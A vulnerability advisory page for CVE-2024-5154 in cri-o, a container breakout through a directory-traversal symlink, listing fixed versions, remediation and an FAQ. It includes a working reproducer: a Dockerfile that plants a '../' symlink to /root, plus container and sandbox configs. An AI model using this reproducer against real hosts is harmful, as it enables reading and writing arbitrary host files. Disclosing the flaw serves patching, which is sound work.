CVE-2024-5154: Cri-o: malicious container can create symlink on host
Impact A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile: FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra .
and this container config:
{ "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } }
and this sandbox config { "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "securitycontext": { "namespaceoptions": { "network": 2 } } } }
will create a file on host /host/mtab
Patches 1.30.1, 1.29.5, 1.28.7
Workarounds Unfortunately not
References Are there any links users can visit to find out more?
Other sources
A container breakout was reported in cri-o, where a malicious container image can trick cri-o into creating a symlink on the host. The reproducer that was provided created the following symlink: /root/mtab -> /proc/mounts.
— Red Hat
A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
redhat/cri-oto a version that resolves this vulnerability.Fixed in 1.30.1 - Upgrade
Upgrade
redhat/cri-oto a version that resolves this vulnerability.Fixed in 1.29.5 - Upgrade
Upgrade
redhat/cri-oto a version that resolves this vulnerability.Fixed in 1.28.7 - Upgrade
Upgrade
go/github.com/cri-o/cri-oto a version that resolves this vulnerability.Fixed in 1.30.1 - Upgrade
Upgrade
go/github.com/cri-o/cri-oto a version that resolves this vulnerability.Fixed in 1.29.5 - Upgrade
Upgrade
go/github.com/cri-o/cri-oto a version that resolves this vulnerability.Fixed in 1.28.7
Event History
Frequently Asked Questions
What is the severity of CVE-2024-5154?
CVE-2024-5154 is classified as a high severity vulnerability.
How do I fix CVE-2024-5154?
To fix CVE-2024-5154, upgrade to cri-o versions 1.30.1, 1.29.5, or 1.28.7.
What is the impact of CVE-2024-5154?
CVE-2024-5154 allows a malicious container to influence the host system by exploiting certain code in cri-o.
Which software versions are affected by CVE-2024-5154?
CVE-2024-5154 affects cri-o versions 1.30.0 and earlier, 1.29.4 and earlier, and 1.28.6 and earlier.
Is CVE-2024-5154 exploitable in all environments?
CVE-2024-5154 may be exploitable in environments running affected versions of cri-o without the recommended patches.